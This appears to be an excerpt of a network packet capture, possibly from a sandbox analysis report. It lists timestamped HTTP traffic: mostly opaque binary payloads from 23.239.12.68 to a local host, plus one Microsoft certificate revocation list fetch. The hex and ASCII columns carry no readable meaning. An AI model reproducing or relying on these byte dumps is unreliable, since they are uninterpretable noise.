Feb 27, 2014 17:54:28.229998112 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: fd b7 29 fb 4a a8 b3 05 76 e8 c1 ab eb 3d cd 8c 01 25 fd 25 6f 15 05 3e 45 b2 e3 0d 17 30 7b c5 3d ae 47 3d 9c b9 92 d7 71 c0 5c 79 b1 40 ab 8f 5c a7 97 58 aa e3 9b 01 c1 6d 2f 91 90 96 e4 71 40 0f 34 4d 60 b6 9d 25 fe 3e f4 42 80 c3 1c 49 79 bc Data Ascii: )Jv=%%o>E0{=G=q\y@\Xm/q@4M`%>BIyoxSXw]vkrQVlMQQXY4\|WTCpx%s]c![ogH&ct'8aARAR`K'?p;>K,wMZa_~T#	221
Feb 27, 2014 17:54:28.230003119 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 67 1f d7 c8 08 f2 1c bf 77 85 1d e5 9c c9 27 ff 8c 4b c7 62 94 40 56 9d 54 c8 9e 7e c9 57 70 91 ef 4a 09 bd 35 f1 fd ee e3 04 03 07 9e 07 de 4a 55 41 9a d9 c7 89 3b ba ea 38 d5 cf 4d f1 97 e5 45 e8 e6 e6 e8 76 b3 37 dd 13 c3 e1 31 af d8 84 93 af Data Ascii: gw'Kb@VT~WpJ5JUA;8MEv71m!RANWTSCI==' J~3kNCJrRq4xwy;E7c!(d4 P6'q)t)!y+T}\|!393f/V'x	222
Feb 27, 2014 17:54:28.230109930 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 7b 74 17 b0 c0 cb 55 3b 47 3d f5 7a f8 fd a7 f6 10 89 7e 87 2a 57 4c 8e 37 4a 87 e4 1f 57 32 fd a9 3e 29 d8 53 c9 e6 da 33 d9 db a2 be bc 38 7b 4d 77 c4 bf 90 eb ff 0f bd a5 f9 ab 53 99 49 88 c3 a2 70 cf b8 04 50 e6 44 aa ec df 0c e3 55 d7 3d 8f Data Ascii: {tU;G=z~WL7JW2>)S38{MwSIpPDU=J16q?n:tMN^c%>}8"Ie^Z(<Wg&k $qV=&AnfQ?p#lS\qi)k	224
Feb 27, 2014 17:54:28.277776003 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 4f 54 a7 3a 1a 9c 57 69 b0 1b 47 b1 e7 62 b0 d4 5e 49 bf 4a 81 d2 16 12 e3 e6 3a d2 2c 0a 23 48 f9 23 4f 55 9c 16 10 c0 23 a1 77 ff e3 b6 a6 b7 25 3a 73 b0 8a b0 81 08 61 8f 65 f2 8c 4e ad 98 99 30 f0 39 c8 a6 07 db 24 15 c7 05 c2 70 45 89 33 a4 Data Ascii: OT:WiGb^IJ:,#H#OU#w%:saeN09$pE3R[191V67+x*u}v2m<B qv" _OOMm?[4rTEmnby8AjbywrV]a7_B~t~6PA`!#fT!sp`q	224
Feb 27, 2014 17:54:28.278212070 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 00 3a b3 cf 5d e9 55 06 c8 cf 2a a9 fd 14 91 12 5f 81 e2 7a a8 13 d5 3c 5b 00 2f ab b0 df 61 a8 ab 4d 2c 85 5c e7 10 53 44 c2 f9 03 87 0c 38 43 e9 93 38 00 19 1d 38 55 64 bd 3e f9 74 53 74 fd 23 30 80 c0 32 fa 67 92 9d da 7f ec 62 b1 80 aa ab 0f Data Ascii: :]U_z<[/aM,\SD8C88Ud>tSt#02gb?9`W'WP(HKTJhP&^^D4~4i'1z5:heJ!T@NL]-I-CG8gf><p*_`1v(D\NgEWWz	226
Feb 27, 2014 17:54:28.278218031 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 76 22 d0 ec 7d 45 4a 6b 31 b7 46 ec 87 2a a3 58 50 d0 19 6e 67 7e f5 60 cd 10 44 52 39 c0 e5 8d 91 f8 a0 91 46 9b eb e8 73 88 da c2 68 1b 3c 27 ae 09 5a ae f6 1a 64 1e 28 68 29 60 21 e7 44 5c f3 19 7d ac c3 3f 34 93 cd dc 20 17 e8 bf f0 ba 51 cc Data Ascii: v"}EJk1FXPng~`DR9Fsh<'Zd(h)`!D\}?4 Q_:Q%p8czisqw~-M/vA.L["XC2_/E7H\t@h$axlj2_'qmdo+>s"	227
Feb 27, 2014 17:54:28.278351068 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 86 4d cd b5 cd 95 13 af ed d2 4b 4a de ea c3 87 2f 6c 73 c8 cc da 16 35 97 a6 40 8a 27 95 95 c0 c0 9b 28 d2 9c 35 fc 51 ca 47 28 9c ad 93 a1 5b 37 b4 52 62 58 d4 c4 4e ee 01 ee ad a8 b9 06 32 53 47 61 94 Data Ascii: MKJ/ls5@'(5QG([7RbXN2SGa	227
Feb 27, 2014 17:54:28.557080030 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 4e aa 6d 66 74 2f cc ca 78 47 41 73 43 2d a7 b8 c2 85 7d 51 62 d4 fc 33 99 b1 02 4e 6d c6 9d 64 8d da fb c6 4f 53 0a ac 29 bd 07 8d 21 52 dc 44 43 4f 24 95 c7 15 22 7e 8f ca df 3b 25 60 3c a2 b6 3b 65 05 b3 e3 64 9d 6b 1f 71 c5 89 91 e8 54 cf 72 Data Ascii: Nmft/xGAsC-}Qb3NmdOS)!RDCO$"~;%`<;edkqTr0bB[FNw #UzW2mI36>8qPe[->?'51B@,uY2\|mh@TU^p+HAk)Lb?_7\e[a5@ : -yr5E1+R`-	229
Feb 27, 2014 17:54:28.557100058 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: fd 6d 15 24 7e 0d 24 cd ae 67 23 e4 07 74 fa df 22 79 13 ca 28 c4 7e a1 69 fd de a1 e0 a2 bb 53 29 64 65 7f 79 96 2a 0b 41 9d 5f 61 a1 8c b6 7c 5d 57 d1 c7 1b 90 4f 99 ef 06 64 24 d1 38 7a bf ba a1 39 e2 e5 9f d8 f1 d2 37 94 30 9d 17 4e 60 14 16 Data Ascii: m$~$g#t"y(~iS)dey*A_a\|]WOd$8z970N`K{j a"w&VQv+7qle{`B#XW4le(d2oYY~G21F95LWWr!gea	230
Feb 27, 2014 17:54:28.557104111 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 7f 7f f7 e9 31 81 cd 9e d8 aa ef a1 3f e9 1a 1a 2d 84 e1 fa 58 42 a0 e6 ac b5 52 e6 b0 70 fa a2 0f 4a 7e 34 9a 58 0a ce 56 e5 03 7f ec 0f 64 d3 8f 41 81 62 fc 85 a6 7d 9a 88 68 e5 21 bc e9 09 22 74 f4 3c 7b c1 ca d9 09 9b 2b 9b 80 47 1e 60 95 ef Data Ascii: 1?-XBRpJ~4XVdAb}h!"t<{+G`$J4iT&uv1r56}l6>rG1,oC,"dUP\kT#HWaOGzfL#43M1HPqjQ1O6q@yYA+>,#wOyHU<qQ^y{r	231
Feb 27, 2014 17:54:28.557245016 MEZ	80	1049	207.46.206.30	192.168.0.18	HTTP/1.1 200 OK Content-Type: application/pkix-crl Accept-Ranges: bytes ETag: "6488a675332cf1:0" Server: Microsoft-IIS/8.0 VTag: 438531730500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Content-Length: 727 Cache-Control: max-age=2172 Age: 1213 Date: Thu, 27 Feb 2014 16:54:45 GMT Last-Modified: Tue, 25 Feb 2014 17:57:20 GMT Expires: Thu, 27 Feb 2014 18:25:32 GMT Connection: keep-alive Data Raw: 30 82 02 d3 30 81 bc 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 27 31 25 30 23 06 03 55 04 03 13 1c 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 65 74 20 41 75 74 68 6f 72 69 74 79 17 0d 31 34 30 32 32 35 31 37 34 37 32 30 5a 17 0d 31 34 30 35 32 37 30 36 30 37 32 30 5a a0 61 30 5f 30 1f 06 03 55 1d 23 04 18 30 16 80 14 2a 4d 97 95 5d 34 7e 9d b6 e6 33 be 9c 27 c1 70 7e 67 db c1 30 12 06 09 2b 06 01 04 01 82 37 15 01 04 05 02 03 06 00 06 30 0a 06 03 55 1d 14 04 03 02 01 4a 30 1c 06 09 2b 06 01 04 01 82 37 15 04 04 0f 17 0d 31 34 30 35 32 36 31 37 35 37 32 30 5a 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 82 02 01 00 0c 08 23 f2 ea 24 a6 99 01 89 11 0c 1a 10 1c 37 64 90 f8 d5 d8 19 3a 54 27 cc 3a d0 d1 e3 1c e7 94 89 50 c8 f5 64 dd 39 ab 87 5e 9a bb 06 80 b5 4c 14 d0 ac 2d 7c 32 fb f2 21 5d 64 be 17 cd d8 72 8f fc 63 55 52 68 77 6a f0 7c e8 1d 7a a2 d1 48 fb 7b 8a 60 07 00 06 ec 6d 8b 05 3a 97 03 85 25 5d b4 be f2 40 ea 31 0c 2b 16 b3 e4 d7 be d2 a4 83 95 e0 13 65 15 75 c0 f7 e6 9e 69 47 81 b5 52 16 6b 93 bb c2 73 1a d7 eb 33 6d 6c 10 b9 96 ab e9 d8 dd ff cf dd be 20 3e 58 7c 82 32 a9 e4 b3 bc 91 0a 7a 8b 0d 3e 03 ab 22 8c 0c 70 dd 44 32 2b ed 32 df 26 5f 32 a7 16 89 1f 42 31 c9 5b 25 9d f6 e0 1d a7 a2 c3 c5 cc a9 c0 50 87 01 4f eb 24 99 eb 25 11 d7 19 8a 3d 88 7f ce f5 20 68 4e bf b5 92 d0 04 7b e9 13 95 f2 b5 7d 16 26 2a 6c 8f 46 8a 22 4e ef a7 ee 24 75 a1 89 d6 94 cb db 36 05 e9 51 b1 0f 02 3b 5c d5 63 2a d6 c9 d7 31 b6 14 61 ad 89 56 94 7e cd 92 3a 15 5a 81 47 6d 32 4b fb c1 b6 5d 1f f2 f8 5d 67 77 28 8b 3d dd 0f 2c f0 53 41 16 6e de f6 e9 05 73 ff e0 9f e2 de 5b 56 04 4f d1 15 bb d0 14 ea 41 5d 4a 43 ba 4c 4b b2 f8 9c 7d 64 4e 92 50 c7 38 1d aa d2 6f 17 99 44 ba fa fa 73 38 39 76 9f c9 7a 2d 11 1e 0a b5 98 93 3a 19 04 6b d7 13 ce 1c 38 ad 07 13 69 48 5d 0f 35 71 13 cf c4 32 fa 77 bb 0e 93 78 e3 a9 07 80 87 36 d0 fd d3 07 14 15 bf af bb 89 ec 3f b5 55 f6 6c 1a a0 c8 cc 4d f8 0d 07 7b f6 05 3e 31 2d 1e e0 f8 2d e3 f6 b8 69 06 99 d5 1e c2 66 8a 71 fc fb 09 e5 6d 66 0e d1 ad 05 e1 b8 ca 0c af 18 05 f5 3e 11 91 d0 e2 d8 cd 07 04 7a 20 88 c3 fb 28 5e 59 cb b9 29 86 31 1e c7 6b be 5f 2f 77 e9 87 86 4a 6d 68 5e cf a5 46 7b 5a Data Ascii: 000H0'1%0#UMicrosoft Internet Authority140225174720Z140527060720Za0_0U#0M]4~3'p~g0+70UJ0+7140526175720Z0H#$7d:T':Pd9^L-\|2!]drcURhwj\|zH{`m:%]@1+euiGRks3ml >X\|2z>"pD2+2&_2B1[%PO$%= hN{}&lF"N$u6Q;\c*1aV~:ZGm2K]]gw(=,SAns[VOA]JCLK}dNP8oDs89vz-:k8iH]5q2wx6?UlM{>1--ifqmf>z (^Y)1k_/wJmh^F{Z	233
Feb 27, 2014 17:54:28.557261944 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 65 09 82 c4 f5 b8 84 50 3a 7e 58 ea 96 f5 0e 27 dd bf 43 d8 12 2d 43 ae c3 ed d4 64 90 fe 8b 4a 1f 79 76 79 03 f0 64 27 d7 78 39 7e c2 f4 ff 4e 89 e0 a3 32 d2 66 76 5b 7a 28 c8 62 95 10 54 04 af 0d f0 8b 25 28 d6 37 33 90 1d c7 4b 19 75 9b 51 b5 Data Ascii: eP:~X'C-CdJyvyd'x9~N2fv[z(bT%(73KuQ16fW%Q6]IO-QZT(6:pn0i<$$sZWgiS%dDS9EP8gE"/yV,lw<l{8V	234
Feb 27, 2014 17:54:28.557383060 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 8c 52 59 03 dd 88 a6 d8 fc 2a d8 61 21 9b 86 e7 15 60 9d 19 67 46 80 0b 0c 0a 35 14 f2 2c 8d 30 00 b7 b4 ab 3f 21 a2 df 6a 3c 5d aa 62 3a 90 47 79 89 3c d9 9b 9a ed 65 54 ed 64 3f b5 01 aa 1e 8b e5 5d 5e f8 8b 75 07 b2 e3 28 31 49 0c 6b 51 f8 c4 Data Ascii: RYa!`gF5,0?!j<]b:Gy<eTd?]^u(1IkQRF-%q^u.(VXJLh2rqTp\RIf3akr"1Gil;"ucMD }tLth ins`5c	235
Feb 27, 2014 17:54:28.762660027 MEZ	1049	80	192.168.0.18	207.46.206.30	GET /pki/mscorp/crl/MSIT%20Machine%20Auth%20CA%202(1).crl HTTP/1.1 Accept: / User-Agent: Microsoft-CryptoAPI/5.131.2600.5512 Host: mscrl.microsoft.com Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache	235
Feb 27, 2014 17:54:28.845969915 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 1d 19 ca 25 df 98 38 0f 09 e0 ee bf 68 56 0a 88 ed 5e 82 9f 79 a5 47 5a 6a 1d 52 37 56 d3 32 c6 83 dc 7c 7a be 65 a8 12 57 bb 0d 1d 2c ac ab fa 8e f0 76 ae d6 e5 20 60 29 59 33 46 59 cd 41 8d 05 ef 6c 32 68 2c 8a e1 12 ac 00 10 30 87 c0 7d ea 03 Data Ascii: %8hV^yGZjR7V2\|zeW,v `)Y3FYAl2h,0}>yp4wd=D&t>rD:6UP51,J[qcP}`{DQ%%VTBAeSQ5TmhOK@F\|mpRyLah>	237
Feb 27, 2014 17:54:28.845978975 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: c2 15 39 fd 1e b6 6a 08 a2 76 5e 3c e3 30 2f ad 4a d4 db ed 2d ed d5 31 53 31 98 6c 0f db 89 5a a7 00 c8 f6 a7 ea f2 e0 7b f7 48 d4 49 c8 38 4e d4 37 7f 04 6b a6 4e b8 ce 68 1f be 24 8e 09 0f d9 92 b6 39 3e 04 cf 83 e6 ac 81 e2 25 2d 7a ad 28 b1 Data Ascii: 9jv^<0/J-1S1lZ{HI8N7kNh$9>%-z(fqO[Uk_7iNg#m*Wr@_c\|!im.>\|sU2l)dB]F_b~It'z.>=IpbdG"2CJhN&g%$8B05ZO +4+0%	238
Feb 27, 2014 17:54:28.845982075 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: d8 bb b8 28 a0 b2 d4 11 a1 79 ef f4 0d ea b8 ea 84 74 73 33 fd df 01 11 95 a6 29 69 90 0d 51 94 8e 98 fd 41 2b c0 7e 8e ff dd e5 5a 70 d8 c3 d7 e1 e2 59 8b 51 00 ba f1 76 04 43 5a ff 15 24 48 a8 f7 e0 c4 b4 2c a4 62 55 17 95 36 9d 13 14 cf d0 b1 Data Ascii: (yts3)iQA+~ZpYQvCZ$H,bU661!AJn[y30j^\|ox-a Lj;^`!{_M_96>?Q*):>$8^(%H$M#_D	240
Feb 27, 2014 17:54:28.845984936 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 9d 1a 1d dd 9e b1 38 96 42 b6 89 bf 8d 0c d0 d4 23 7c b7 2a 54 8d 9b 1b b7 c6 c9 7c b1 31 7d 30 60 5b 78 a1 f9 dd f3 4b a4 8b 19 14 71 da e6 bb f8 c9 11 93 42 b1 fb 07 02 f3 0a c9 6c c1 62 96 89 c3 17 a8 df 1c 73 73 2e 8e 14 09 92 70 c3 74 96 b8 Data Ascii: 8B#\|T\|1}0`[xKqBlbss.ptNw?eS^r&)~5/H}T!h0ZUu^xNc7ShHY[Pb`t_Kq)3rU(q~^/5o)WXaa^8HByl7	241
Feb 27, 2014 17:54:28.845987082 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 5c e2 ed d5 42 0c b6 6e 42 85 72 51 a9 3e 56 2c e9 79 b8 50 fe a9 a0 9a 33 e1 ba 82 b6 1c f0 b9 74 fe 8b a9 6b d7 cd 6d 36 e5 d1 3f 7e 8e c0 4a c6 9c fc 24 9b db 3f f6 83 22 7c 1b b6 f5 5d 5a 2c 83 93 c1 6a b2 5f 10 56 e1 70 38 48 fb 06 a7 7b 54 Data Ascii: \BnBrQ>V,yP3tkm6?~J$?"\|]Z,j_Vp8H{T2e")M+MQA^0j`@4;rj.OCH804pBsc6&T7;w4DM.D2rZ,%'~?oQ6AhM^2(khY)-m\&Ya't=	242
Feb 27, 2014 17:54:28.846111059 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: cb 67 a5 d4 f0 55 0b 69 da 41 b5 4b 6b 6d 3b f2 57 4d 04 a8 ef 94 8f be 5b 3d fb 2d 3d f4 bd e3 d8 f7 8d a8 15 32 10 19 88 2c 44 48 67 d0 26 8d 8c b0 aa 86 c8 c0 da 86 90 2e e5 98 08 55 a5 e8 e5 46 d4 0a 19 88 0c 44 16 22 93 c1 98 2c 42 76 1d 32 Data Ascii: gUiAKkm;WM[=-=2,DHg&.UFD",Bv2jX#;tG24e cn"t&BRr-jD"mc2\6D#QDVdm"k>P`ttTu`:ZPZ((C<gWWEN"v0	243
Feb 27, 2014 17:54:29.038448095 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 17 31 95 d8 8d 33 15 98 16 98 ae b2 7a 9b d5 2d a6 97 99 c6 58 a5 98 06 98 8e 73 f4 04 d3 36 a6 09 a6 ed 4c dd 1c 39 c4 ea 26 ab 68 97 e2 c8 32 c7 5b 98 26 59 fd a0 4b b3 7a 9f d5 75 f6 44 fc 2d 8e 0a eb 75 56 73 1c 1d 62 35 cf ea 32 c7 8e 70 c7 Data Ascii: 13z-Xs6L9&h2[&YKzuD-uVsb52p~Xyrj+VV'Y]0.0e9,XUVgX%820=i/vdiSyV?y;X96:E~n8rXKoc;5Vr1vb:fqSg.	245
Feb 27, 2014 17:54:29.038460016 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: b9 d2 e8 67 3c a8 d7 85 26 8b 2c b8 43 5f 05 e3 5f dd 13 5b c6 fb 6b d8 78 61 4b 42 5a f2 41 7d 76 fd 71 87 b1 2d 3d 36 2c b6 ea 8f c2 57 25 01 14 d2 5e 24 dc d5 02 72 17 16 2e 48 31 55 e9 6b 2d 81 c5 3f 5c b9 31 27 1a 27 7c 97 13 4f de 2e dd 78 Data Ascii: g<&,C__[kxaKBZA}vq-=6,W%^$r.H1Uk-?\1''\|O.xw]ER'iv&D""+2[/G/J&hi.Z%-F[S_h=.\>eWLO )LhoZ[6B7\|r$~Gimgz- j]	246
Feb 27, 2014 17:54:29.038461924 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 6a 96 1a 88 c3 dd ff 35 c7 21 26 0d c1 c3 db 82 64 41 1a e4 82 79 9c 5c e3 62 fa 46 f7 ff 32 39 08 63 db 25 ae e6 a2 fb 89 ad 2e e7 ba 57 05 60 b9 4c f1 85 fb ab cc 7d c8 0c c9 34 b3 18 00 92 bb f7 67 32 4f ed 9d cb 04 92 5c 7c 8b 7b 5d 26 33 ed Data Ascii: j5!&dAy\bF29c%.W`L}4g2O\\|{]&3=e/?SGdv{=1veVWrxi~y`~GLfswYVs[2[&.uMb\"bJj?\w'\|2sQXNrP	248
Feb 27, 2014 17:54:29.134690046 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 00 6b 85 43 bb a7 c8 cd d4 fa a0 1c 5c 70 01 ba 84 a2 c5 95 89 9f 5d c3 9d db 43 09 38 01 28 81 e4 da 53 66 d3 99 db a3 0c 8a 05 30 01 34 c3 3d 6b 4b c6 32 41 73 63 c9 0d 68 8a 05 b8 37 60 5e 1d 8d d1 51 22 b3 82 db c2 b5 2c 2c 16 79 66 52 c0 93 Data Ascii: kC\p]C8(Sf04=kK2Asch7`^Q",,yfRd,#A@SBs0CYs\|}9[Y4b34fd\|E(e_:rew@Yr{EFBVnmH: 5\|`TfjAZe@+s'=	249
Feb 27, 2014 17:54:29.134697914 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: ca 1e 53 b3 4a 96 72 4b e1 9c 5f 20 c9 4b f2 71 1d 8b 05 00 07 68 ac f1 a4 2e af fc aa 2c 81 62 b2 d2 d6 38 1b d6 e5 22 3c 5c 5c 2e c5 1c 19 7a 96 6d 73 a3 57 15 74 4d 70 8f a8 a2 df ae d7 64 67 c8 59 e6 37 01 4e 3c 62 0c c8 27 dd cc 42 63 09 e0 Data Ascii: SJrK_ Kqh.,b8"<\\.zmsWtMpdgY7N<b'Bc%$Z3:4300/q-w o2'YYdAw5f_^Rb-Dy$F=JZt,Zj16Ku,v-E_BzI^V,r-cDC	251
Feb 27, 2014 17:54:29.134790897 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 22 f9 14 e0 84 98 28 b5 c6 41 f6 05 c9 88 9f 85 1c 8f 25 fb d1 ef 31 5b 69 8b a8 7b a0 6d fa 7a a6 38 8d a5 42 6a 19 f6 1b 50 8b 19 ef da 11 c8 fd 2e a9 e3 1d 74 0f a7 ab 47 e8 c8 b8 55 a6 53 60 eb d0 8b 0c 77 e3 cc 35 11 4c ef 92 dd 79 96 fe 0a Data Ascii: "(A%1[i{mz8BjP.tGUS`w5Ly:.}"VD]g+X7b!%c-;"1JW ;{%2692.{(Y{%gne-$;}&T2\|61BH=L0;gwl);,^	251
Feb 27, 2014 17:54:29.182877064 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: a0 a1 15 40 25 a9 5d f4 31 1c 6f f2 6c fe 61 d5 85 b4 48 97 91 c5 d1 7c e8 59 0f 55 43 3a 6d c5 a3 3d c5 5e ac 20 15 4c 39 0c 02 30 96 ab 69 76 8a d3 02 cc 48 9c bf 79 26 c1 03 a5 ee 01 1e 0f 23 33 f9 61 45 a3 9f 40 70 20 cf 7b 6b 6a 49 97 e0 92 Data Ascii: @%]1olaH\|YUC:m=^ L90ivHy&#3aE@p {kjIx&w8f!BKJ>(R(,@dNtZ'&N2)#dk)k&l%geDw]y@BVo*Dx>7@T%TTo$h/}4H)G}\,d@b%&	253
Feb 27, 2014 17:54:29.182894945 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 79 0e f4 3c 9c 92 cd 5a dc 5f 40 58 61 e5 6d 51 5e 68 a5 2f 07 41 7c 4c 67 ee a3 41 08 d0 f5 aa 1c b4 7a 94 bc d2 a8 77 d3 01 00 da 08 05 e8 43 d2 62 7e d1 2b d2 ac 7d 29 b5 55 9a 64 77 93 16 52 fe c3 07 80 22 85 2c a4 02 d7 a4 30 0f 20 a5 99 c8 Data Ascii: y<Z_@XamQ^h/A\|LgAzwCb~+})UdwR",0 :DTN]aBT)eUU/;Nc]2\|NbIc{I3i[r6]DEdL'dazo,v C,Jd/kq'FrF~%O+/)n>.O_$k	254
Feb 27, 2014 17:54:29.182898045 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 25 57 2c da 10 31 5a b6 de 2b eb d4 f3 f9 c7 36 16 81 4c 00 2b e5 90 7e 86 5d 35 7c 4c 2a 30 83 b4 26 03 d2 41 53 66 62 40 ab 4c 49 e2 60 41 5d 0e 2c 73 91 c5 d8 30 1d ce 23 22 5c 8d 4c 23 d3 65 6f 45 98 26 19 83 cf f3 f0 e7 96 ea f9 c8 76 b8 6c Data Ascii: %W,1Z+6L+~]5\|L*0&ASfb@LI`A],s0#"\L#eoE&vl$@(Z+u">BC4k\Y;D=8KU4KlWt[+#Dc][ol>ocw$S+.su/$2zZvL$e^EnAYV=AF6qMpDL	255
Feb 27, 2014 17:54:29.423919916 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: f3 ff 98 f9 35 2c 8e 6d 2e 59 eb b5 46 52 06 76 ee 4c 99 26 d4 51 90 e1 b4 48 9d 7d 51 5f 9d e0 94 de 32 34 f1 10 cf b1 7a 32 02 6a 2f ad e4 cb bc 7c 8c 53 44 88 81 a0 5b df 21 e3 6d 5f 06 80 9d 90 97 3a b9 68 8f 9b cc e1 35 28 15 72 cd ea 1c eb Data Ascii: 5,m.YFRvL&QH}Q_24z2j/\|SD[!m_:h5(r+9?SeP0blbQb)psCPE5@V$Q `zXQhNT9XlT^:SZHtvslF:6	257
Feb 27, 2014 17:54:29.423930883 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 76 41 43 c9 3d 42 1e 18 5e 3d fa cc 9a fb 73 55 44 c5 be d0 80 5b 22 bb e5 cd 89 04 b5 78 0a bb 57 23 60 d5 15 b6 e5 8c d8 d4 1c 2e ad 2f 6e 97 89 e5 83 62 a1 c7 0e bb 4b 82 1f 1d 38 d4 59 8d 76 e5 ce e9 44 ae 9c 97 85 6a 1e 76 ca 72 ea 1a 25 89 Data Ascii: vAC=B^=sUD["xW#`./nbK8YvDjvr%^=.p3S[b7N\24Rx<fp7Br@)J_H6xzUmJ~j^NNMM*)"W[E+y,pZ:2Y&Gn?Nh'rV#Mg.honzxc&pBZUHg	258
Feb 27, 2014 17:54:29.423933029 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 59 60 be 77 85 1d 75 6f 32 82 72 97 76 9e 38 45 f7 25 ea b9 e6 60 43 02 3b 2e cd 80 a0 27 ad 7d ab 43 70 ea ae 43 83 4c 54 d9 f2 e1 84 2c 6d 1c a4 0e 94 f3 74 be e2 4d d5 c3 34 3a 55 b9 28 ea 91 c6 07 4c b1 07 d2 e7 44 1c b9 2e 17 ed ed b5 b5 d4 Data Ascii: Y`wuo2rv8E%`C;.'}CpCLT,mtM4:U(LD.T:=-{]:+ev3OD2{hmj}H~-iC#%Y'ik/K+5gO~aI[46~k\|*!e@%E y`m+d(,#HZ,8X5S	259
Feb 27, 2014 17:54:29.423953056 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 4a cc 6f e2 58 e6 7a 72 c6 2a a2 10 3e e0 c3 6c 12 56 83 f8 3e a5 3a 07 61 cb f4 0e 00 7c e7 a6 24 37 6e 16 0b aa 2d c5 92 ac 17 4c fd 86 ca 90 83 3f 8a b2 17 2c ce f1 e2 4e 91 ea ad b8 55 88 ca 15 95 89 53 08 8a f9 d3 8a e9 d3 22 d0 5b a8 6c d6 Data Ascii: JoXzr>lV>:a\|$7n-L?,NUS"[lau]2RSRq 6En8B6g.^1"qW2y#r1:?X.p+^qn\n="\x4I*~C^OYdDW9,ZJ}>2,^	261
Feb 27, 2014 17:54:29.423955917 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: ab 83 c0 ec 28 75 a6 5f c7 bf b4 2a 8f ff 87 b2 77 f9 46 9b a7 fd f6 7c 35 1e a8 46 e7 bc c0 77 6d a7 56 fb c3 53 33 1f 99 51 8f cf 8c c0 f0 2a ee db 22 d1 96 de 24 8b 4f b2 d5 6a 29 f9 29 65 d0 49 57 a9 21 ae 76 38 aa b3 00 f4 c0 7c 68 fb d4 e6 Data Ascii: (u_wF\|5FwmVS3Q"$Oj))eIW!v8\|hl%Vn?p}c6w:Ux`Jh1FWs Lo 2n<'?=#6+BbXo.m,dLuI%FB'kARqD*IhyAC-[G	262
Feb 27, 2014 17:54:29.424117088 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: a4 ea fe 02 d5 bd 06 c0 af 7a 9e 7b 89 a2 44 a8 da e0 d4 dd c8 23 bc 6d 46 b8 ad 63 1c 80 d2 4c 76 4a 3e 0a d8 ef 2c c9 2a 18 fc 45 5f 7a 21 3d 3b 7a 4c 81 45 03 6c f6 1c 78 57 3c 18 e1 93 13 30 9c af c9 27 22 55 9e 4a d5 82 ee cf aa e7 14 e2 14 Data Ascii: z{D#mFcLvJ>,*E_z!=;zLElxW<0'"UJ`z.;%seWyV4#@`vtlH=I T}C& ed)UBT4S F0'MvyXH1}(%hw/\T; K[soW{	264
Feb 27, 2014 17:54:29.652753115 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: b5 81 c7 1d 58 ef 4c 07 5e c7 3b 08 2e 2c b0 6c 8c ae d9 69 08 a5 84 11 db 85 0e 85 08 af 5a bf 12 18 f0 8f 82 59 88 ad 8e fd ab 65 cf ad 59 cb 8f d2 01 5a b9 47 c4 8f cb 99 bb bc 17 ed 7f d4 12 9a 4c fa 56 1b be 0e d9 9d 6c 69 b5 c3 b5 29 6d eb Data Ascii: XL^;.,liZYeYZGLVli)m7m(kH[u-7bYtkKiKSt(SF.QJ!]PIlzCr;`VWY<LEZAwvr5w(`;2uM~-NjDE6D	265
Feb 27, 2014 17:54:29.652771950 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 8e 10 cb ac 8d d2 d0 e5 ab 93 89 fb 3a 3b c2 a9 32 a5 09 fe f2 72 84 0a 66 49 49 f9 7f 65 57 1e dc e6 71 dd 77 bf 6b 3f 1c 24 f1 01 bc 44 8a 12 25 c2 a4 41 51 22 25 c5 72 22 db 29 75 d1 b6 9a 96 b1 55 c7 b2 6b da 04 20 c0 a0 23 53 0e 09 4a 56 db Data Ascii: :;2rfIIeWqwk?$D%AQ"%r")uUk #SJVqeM49Gag$M44!d4`LfiIr~`Xd9}]t`-,0bq3=~jca;g{&K%{Rl.3y	267
